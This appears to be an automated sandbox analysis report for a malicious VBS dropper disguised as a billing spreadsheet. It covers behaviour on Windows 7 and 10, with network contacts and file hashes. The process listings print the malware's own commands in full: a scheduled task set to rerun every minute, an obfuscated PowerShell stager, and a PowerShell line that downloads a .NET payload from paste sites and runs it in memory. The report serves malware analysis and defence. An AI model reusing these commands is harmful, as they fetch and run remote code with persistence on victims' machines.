Analysis Overview
SHA256
da59502967c26be14e52f229feb80beb4672ad5454eb943969f1da9a21815886
Threat Level: Known bad
The file Billed-report2023xls.vbs was found to be: Known bad.
Malicious Activity Summary
Blocklisted process makes network request
Checks computer location settings
Enumerates physical storage devices
Suspicious use of AdjustPrivilegeToken
Suspicious use of WriteProcessMemory
Uses Task Scheduler COM API
Creates scheduled task(s)
Suspicious behavior: EnumeratesProcesses
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2023-12-12 15:28
Signatures
Analysis: behavioral1
Detonation Overview
Submitted
2023-12-12 15:28
Reported
2023-12-12 15:31
Platform
win7-20231025-en
Max time kernel
122s
Max time network
125s
Command Line
Signatures
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Enumerates physical storage devices
Creates scheduled task(s)
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\schtasks.exe | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of WriteProcessMemory
Uses Task Scheduler COM API
Processes
C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Billed-report2023xls.vbs"
C:\Windows\System32\schtasks.exe
"C:\Windows\System32\schtasks.exe" /delete /tn mi /f
C:\Windows\System32\schtasks.exe
"C:\Windows\System32\schtasks.exe" /create /tn mi /tr "C:\Users\Admin\AppData\Local\Temp\mi.vbs" /sc minute /mo mi
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $dgUdYL = 'J▒Bu▒Hg▒d▒Bv▒Ho▒I▒▒9▒C▒▒Jw▒w▒DM▒N▒▒n▒Ds▒J▒B3▒G0▒Z▒B0▒H▒▒I▒▒9▒C▒▒Jw▒l▒H▒▒egBB▒GM▒TwBn▒Ek▒bgBN▒HI▒JQ▒n▒Ds▒WwBC▒Hk▒d▒Bl▒Fs▒XQBd▒C▒▒J▒Bu▒HY▒ZQBi▒Gg▒I▒▒9▒C▒▒WwBz▒Hk▒cwB0▒GU▒bQ▒u▒EM▒bwBu▒HY▒ZQBy▒HQ▒XQ▒6▒Do▒RgBy▒G8▒bQBC▒GE▒cwBl▒DY▒N▒BT▒HQ▒cgBp▒G4▒Zw▒o▒C▒▒K▒BO▒GU▒dw▒t▒E8▒YgBq▒GU▒YwB0▒C▒▒TgBl▒HQ▒LgBX▒GU▒YgBD▒Gw▒aQBl▒G4▒d▒▒p▒C4▒R▒Bv▒Hc▒bgBs▒G8▒YQBk▒FM▒d▒By▒Gk▒bgBn▒Cg▒I▒▒o▒E4▒ZQB3▒C0▒TwBi▒Go▒ZQBj▒HQ▒I▒BO▒GU▒d▒▒u▒Fc▒ZQBi▒EM▒b▒Bp▒GU▒bgB0▒Ck▒LgBE▒G8▒dwBu▒Gw▒bwBh▒GQ▒UwB0▒HI▒aQBu▒Gc▒K▒▒n▒Gg▒d▒B0▒H▒▒cw▒6▒C8▒LwB0▒GU▒e▒B0▒GI▒aQBu▒C4▒bgBl▒HQ▒LwBy▒GE▒dw▒v▒GU▒egBq▒G0▒bwBm▒Ho▒MwBz▒DY▒Jw▒p▒C▒▒KQ▒g▒Ck▒OwBb▒HM▒eQBz▒HQ▒ZQBt▒C4▒QQBw▒H▒▒R▒Bv▒G0▒YQBp▒G4▒XQ▒6▒Do▒QwB1▒HI▒cgBl▒G4▒d▒BE▒G8▒bQBh▒Gk▒bg▒u▒Ew▒bwBh▒GQ▒K▒▒k▒G4▒dgBl▒GI▒a▒▒p▒C4▒RwBl▒HQ▒V▒B5▒H▒▒ZQ▒o▒Cc▒TQBh▒HI▒YQBj▒GE▒aQBi▒G8▒LgBD▒Gw▒YQBz▒HM▒MQ▒n▒Ck▒LgBH▒GU▒d▒BN▒GU▒d▒Bo▒G8▒Z▒▒o▒Cc▒TQBz▒HE▒QgBJ▒GI▒WQ▒n▒Ck▒LgBJ▒G4▒dgBv▒Gs▒ZQ▒o▒CQ▒bgB1▒Gw▒b▒▒s▒C▒▒WwBv▒GI▒agBl▒GM▒d▒Bb▒F0▒XQ▒g▒Cg▒Jw▒w▒C8▒d▒BU▒FM▒VQBY▒C8▒Z▒▒v▒GU▒ZQ▒u▒GU▒d▒Bz▒GE▒c▒▒v▒C8▒OgBz▒H▒▒d▒B0▒Gg▒Jw▒g▒Cw▒I▒▒k▒Hc▒bQBk▒HQ▒c▒▒g▒Cw▒I▒▒n▒F8▒XwBf▒F8▒XwBf▒F8▒XwBf▒F8▒XwBf▒F8▒XwBf▒F8▒XwBf▒F8▒XwBf▒F8▒XwBf▒F8▒XwBf▒F8▒XwBf▒F8▒XwBf▒F8▒XwBf▒F8▒XwBf▒F8▒XwBf▒F8▒Xw▒t▒C0▒LQ▒t▒C0▒LQ▒t▒Cc▒L▒▒g▒CQ▒bgB4▒HQ▒bwB6▒Cw▒I▒▒n▒DE▒Jw▒s▒C▒▒JwBS▒G8▒Z▒Bh▒Cc▒I▒▒p▒Ck▒Ow▒=';$KByHL = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $dgUdYL.replace('▒','A') ) );$KByHL = $KByHL.replace('%pzAcOgInMr%', 'C:\Users\Admin\AppData\Local\Temp\Billed-report2023xls.vbs');powershell -command $KByHL;
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$nxtoz = '034';$wmdtp = 'C:\Users\Admin\AppData\Local\Temp\Billed-report2023xls.vbs';[Byte[]] $nvebh = [system.Convert]::FromBase64String( (New-Object Net.WebClient).DownloadString( (New-Object Net.WebClient).DownloadString('https://textbin.net/raw/ezjmofz3s6') ) );[system.AppDomain]::CurrentDomain.Load($nvebh).GetType('Maracaibo.Class1').GetMethod('MsqBIbY').Invoke($null, [object[]] ('0/tTSUX/d/ee.etsap//:sptth' , $wmdtp , '____________________________________________-------', $nxtoz, '1', 'Roda' ));"
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | textbin.net | udp |
| US | 148.72.177.212:443 | textbin.net | tcp |
| US | 148.72.177.212:443 | textbin.net | tcp |
Files
memory/2396-5-0x000000001B290000-0x000000001B572000-memory.dmp
memory/2396-8-0x0000000002770000-0x00000000027F0000-memory.dmp
memory/2396-7-0x000007FEF52B0000-0x000007FEF5C4D000-memory.dmp
memory/2396-6-0x0000000002400000-0x0000000002408000-memory.dmp
memory/2396-9-0x0000000002770000-0x00000000027F0000-memory.dmp
memory/2396-10-0x000007FEF52B0000-0x000007FEF5C4D000-memory.dmp
memory/2396-11-0x0000000002770000-0x00000000027F0000-memory.dmp
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
| MD5 | a7e36bd71df2e0eae44b62ea1fb75df6 |
| SHA1 | 2478b074b55dac09321add40b370477dd63daddf |
| SHA256 | 17e678eaad378c7fe60c0cfdacb9e19d2597a506eae5101aa7407f1fbba9c4d9 |
| SHA512 | ec70d2810b8db33e78f7cc226c4c44bfdfc4925b534e92965c028db275d108915f04a1d2de86dd905137d9fdda4e133ebf16d5b6b6f4e8904228f33993a4755f |
memory/2904-17-0x000007FEF52B0000-0x000007FEF5C4D000-memory.dmp
memory/2904-18-0x0000000002A00000-0x0000000002A80000-memory.dmp
memory/2904-19-0x000007FEF52B0000-0x000007FEF5C4D000-memory.dmp
memory/2904-20-0x0000000002A00000-0x0000000002A80000-memory.dmp
memory/2904-21-0x0000000002A00000-0x0000000002A80000-memory.dmp
memory/2904-22-0x0000000002A00000-0x0000000002A80000-memory.dmp
memory/2396-23-0x000007FEF52B0000-0x000007FEF5C4D000-memory.dmp
memory/2396-24-0x0000000002770000-0x00000000027F0000-memory.dmp
memory/2396-25-0x0000000002770000-0x00000000027F0000-memory.dmp
memory/2396-26-0x0000000002770000-0x00000000027F0000-memory.dmp
memory/2904-27-0x000007FEF52B0000-0x000007FEF5C4D000-memory.dmp
memory/2904-28-0x0000000002A00000-0x0000000002A80000-memory.dmp
memory/2396-29-0x000007FEF52B0000-0x000007FEF5C4D000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2023-12-12 15:28
Reported
2023-12-12 15:31
Platform
win10v2004-20231130-en
Max time kernel
125s
Max time network
53s
Command Line
Signatures
Checks computer location settings
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\USER\S-1-5-21-433534792-1200107535-3148087551-1000\Control Panel\International\Geo\Nation | C:\Windows\System32\WScript.exe | N/A |
Enumerates physical storage devices
Creates scheduled task(s)
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\schtasks.exe | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 628 wrote to memory of 4892 | N/A | C:\Windows\System32\WScript.exe | C:\Windows\System32\schtasks.exe |
| PID 628 wrote to memory of 4892 | N/A | C:\Windows\System32\WScript.exe | C:\Windows\System32\schtasks.exe |
| PID 628 wrote to memory of 4084 | N/A | C:\Windows\System32\WScript.exe | C:\Windows\System32\schtasks.exe |
| PID 628 wrote to memory of 4084 | N/A | C:\Windows\System32\WScript.exe | C:\Windows\System32\schtasks.exe |
| PID 628 wrote to memory of 4356 | N/A | C:\Windows\System32\WScript.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 628 wrote to memory of 4356 | N/A | C:\Windows\System32\WScript.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 4356 wrote to memory of 2816 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 4356 wrote to memory of 2816 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Uses Task Scheduler COM API
Processes
C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Billed-report2023xls.vbs"
C:\Windows\System32\schtasks.exe
"C:\Windows\System32\schtasks.exe" /delete /tn mi /f
C:\Windows\System32\schtasks.exe
"C:\Windows\System32\schtasks.exe" /create /tn mi /tr "C:\Users\Admin\AppData\Local\Temp\mi.vbs" /sc minute /mo mi
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $dgUdYL = 'J▒Bu▒Hg▒d▒Bv▒Ho▒I▒▒9▒C▒▒Jw▒w▒DM▒N▒▒n▒Ds▒J▒B3▒G0▒Z▒B0▒H▒▒I▒▒9▒C▒▒Jw▒l▒H▒▒egBB▒GM▒TwBn▒Ek▒bgBN▒HI▒JQ▒n▒Ds▒WwBC▒Hk▒d▒Bl▒Fs▒XQBd▒C▒▒J▒Bu▒HY▒ZQBi▒Gg▒I▒▒9▒C▒▒WwBz▒Hk▒cwB0▒GU▒bQ▒u▒EM▒bwBu▒HY▒ZQBy▒HQ▒XQ▒6▒Do▒RgBy▒G8▒bQBC▒GE▒cwBl▒DY▒N▒BT▒HQ▒cgBp▒G4▒Zw▒o▒C▒▒K▒BO▒GU▒dw▒t▒E8▒YgBq▒GU▒YwB0▒C▒▒TgBl▒HQ▒LgBX▒GU▒YgBD▒Gw▒aQBl▒G4▒d▒▒p▒C4▒R▒Bv▒Hc▒bgBs▒G8▒YQBk▒FM▒d▒By▒Gk▒bgBn▒Cg▒I▒▒o▒E4▒ZQB3▒C0▒TwBi▒Go▒ZQBj▒HQ▒I▒BO▒GU▒d▒▒u▒Fc▒ZQBi▒EM▒b▒Bp▒GU▒bgB0▒Ck▒LgBE▒G8▒dwBu▒Gw▒bwBh▒GQ▒UwB0▒HI▒aQBu▒Gc▒K▒▒n▒Gg▒d▒B0▒H▒▒cw▒6▒C8▒LwB0▒GU▒e▒B0▒GI▒aQBu▒C4▒bgBl▒HQ▒LwBy▒GE▒dw▒v▒GU▒egBq▒G0▒bwBm▒Ho▒MwBz▒DY▒Jw▒p▒C▒▒KQ▒g▒Ck▒OwBb▒HM▒eQBz▒HQ▒ZQBt▒C4▒QQBw▒H▒▒R▒Bv▒G0▒YQBp▒G4▒XQ▒6▒Do▒QwB1▒HI▒cgBl▒G4▒d▒BE▒G8▒bQBh▒Gk▒bg▒u▒Ew▒bwBh▒GQ▒K▒▒k▒G4▒dgBl▒GI▒a▒▒p▒C4▒RwBl▒HQ▒V▒B5▒H▒▒ZQ▒o▒Cc▒TQBh▒HI▒YQBj▒GE▒aQBi▒G8▒LgBD▒Gw▒YQBz▒HM▒MQ▒n▒Ck▒LgBH▒GU▒d▒BN▒GU▒d▒Bo▒G8▒Z▒▒o▒Cc▒TQBz▒HE▒QgBJ▒GI▒WQ▒n▒Ck▒LgBJ▒G4▒dgBv▒Gs▒ZQ▒o▒CQ▒bgB1▒Gw▒b▒▒s▒C▒▒WwBv▒GI▒agBl▒GM▒d▒Bb▒F0▒XQ▒g▒Cg▒Jw▒w▒C8▒d▒BU▒FM▒VQBY▒C8▒Z▒▒v▒GU▒ZQ▒u▒GU▒d▒Bz▒GE▒c▒▒v▒C8▒OgBz▒H▒▒d▒B0▒Gg▒Jw▒g▒Cw▒I▒▒k▒Hc▒bQBk▒HQ▒c▒▒g▒Cw▒I▒▒n▒F8▒XwBf▒F8▒XwBf▒F8▒XwBf▒F8▒XwBf▒F8▒XwBf▒F8▒XwBf▒F8▒XwBf▒F8▒XwBf▒F8▒XwBf▒F8▒XwBf▒F8▒XwBf▒F8▒XwBf▒F8▒XwBf▒F8▒XwBf▒F8▒Xw▒t▒C0▒LQ▒t▒C0▒LQ▒t▒Cc▒L▒▒g▒CQ▒bgB4▒HQ▒bwB6▒Cw▒I▒▒n▒DE▒Jw▒s▒C▒▒JwBS▒G8▒Z▒Bh▒Cc▒I▒▒p▒Ck▒Ow▒=';$KByHL = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $dgUdYL.replace('▒','A') ) );$KByHL = $KByHL.replace('%pzAcOgInMr%', 'C:\Users\Admin\AppData\Local\Temp\Billed-report2023xls.vbs');powershell -command $KByHL;
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$nxtoz = '034';$wmdtp = 'C:\Users\Admin\AppData\Local\Temp\Billed-report2023xls.vbs';[Byte[]] $nvebh = [system.Convert]::FromBase64String( (New-Object Net.WebClient).DownloadString( (New-Object Net.WebClient).DownloadString('https://textbin.net/raw/ezjmofz3s6') ) );[system.AppDomain]::CurrentDomain.Load($nvebh).GetType('Maracaibo.Class1').GetMethod('MsqBIbY').Invoke($null, [object[]] ('0/tTSUX/d/ee.etsap//:sptth' , $wmdtp , '____________________________________________-------', $nxtoz, '1', 'Roda' ));"
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 8.8.8.8.in-addr.arpa | udp |
| US | 8.8.8.8:53 | textbin.net | udp |
Files
memory/4356-2-0x00007FF91F7C0000-0x00007FF920281000-memory.dmp
memory/4356-1-0x000001DD37F40000-0x000001DD37F62000-memory.dmp
memory/4356-3-0x000001DD37F70000-0x000001DD37F80000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ymfrjxt1.rlt.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/4356-4-0x000001DD37F70000-0x000001DD37F80000-memory.dmp
memory/2816-23-0x00007FF91F7C0000-0x00007FF920281000-memory.dmp
memory/2816-24-0x000001BA6EDC0000-0x000001BA6EDD0000-memory.dmp
memory/2816-25-0x000001BA6EDC0000-0x000001BA6EDD0000-memory.dmp
memory/2816-26-0x000001BA6EDC0000-0x000001BA6EDD0000-memory.dmp
memory/2816-29-0x00007FF91F7C0000-0x00007FF920281000-memory.dmp
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
| MD5 | 1a11402783a8686e08f8fa987dd07bca |
| SHA1 | 580df3865059f4e2d8be10644590317336d146ce |
| SHA256 | 9b1d1b468932a2d88548dc18504ac3066f8248079ecb083e919460bdb88398c0 |
| SHA512 | 5f7f9f76d9d12a25fdc5b8d193391fb42c37515c657250fe01a9bfd9fe4cc4eab9d5ec254b2596ac1b9005f12511905f19fdae41f057062261d75bd83254b510 |
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
| MD5 | 2f57fde6b33e89a63cf0dfdd6e60a351 |
| SHA1 | 445bf1b07223a04f8a159581a3d37d630273010f |
| SHA256 | 3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55 |
| SHA512 | 42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220 |
memory/4356-33-0x00007FF91F7C0000-0x00007FF920281000-memory.dmp